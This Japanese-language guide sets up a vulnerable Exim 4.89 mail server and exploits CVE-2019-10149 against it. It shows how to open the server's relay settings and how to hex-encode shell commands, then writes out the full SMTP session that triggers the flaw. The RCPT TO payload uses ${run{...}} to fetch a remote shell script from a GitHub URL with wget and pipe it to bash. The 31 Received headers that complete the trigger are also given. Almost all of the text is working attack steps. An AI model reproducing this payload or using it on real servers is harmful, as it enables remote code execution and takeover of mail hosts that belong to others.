CVE-2019-10149 - Exim 4.87 < 4.91
脆弱なバージョンのEximをインストールし、それを悪用するための手順
Linux Ubuntu 16.04、Exim 4.89 でテスト済み
Exim のインストール
exim バージョン 4.89 をダウンロードして展開する
展開したフォルダーに移動する
必要な設定ファイルをコピーして変更する
-
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
-
cp exim_monitor/EDITME Local/eximon.conf
exim ユーザーとグループを作成する
依存関係をインストールする
- sudo apt-get update
- sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
exim 4.89 をインストールする
7日間待たずに悪用できるように、/usr/exim/configure を編集してリレーを許可する
- sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
- sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
- sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
exim をユーザー exim として実行する
- sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
エクスプロイトの作成
シェルコマンドを16進数に変換します。例:
例の表:
- \t-c\ = -c
- \t= スペース
- x20 = スペース
- x7C = |
- x2F = /
- x3A = :
- x2D = -
- x3E = >
- x26 = &
- x22 = "
- x2E = .
エクスプロイトの使用方法
最初に nc を使用してサーバーへの接続を開始します。
接続したら、HELO を送信します。
- helo localhost
- (応答: 250 exim Hello localhost [192.168.0.168])
次に、送信者アドレスを空に設定します。
- mail from:<>
- (応答: 250 OK)
次に、先ほど作成したペイロードを、省略記号の位置に任意のコマンドを挿入した rcpt to:${run{...}}@localhost として受信者アドレスに設定します。
- rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
- (応答: 250 Accepted)
そして最後に、まず DATA と入力し、その後に31行、空行、ピリオドを続けます。
- DATA
- Received: 1
- Received: 2
- Received: 3
- Received: 4
- Received: 5
- Received: 6
- Received: 7
- Received: 8
- Received: 9
- Received: 10
- Received: 11
- Received: 12
- Received: 13
- Received: 14
- Received: 15
- Received: 16
- Received: 17
- Received: 18
- Received: 19
- Received: 20
- Received: 21
- Received: 22
- Received: 23
- Received: 24
- Received: 25
- Received: 26
- Received: 27
- Received: 28
- Received: 29
- Received: 30
- Received: 31
- .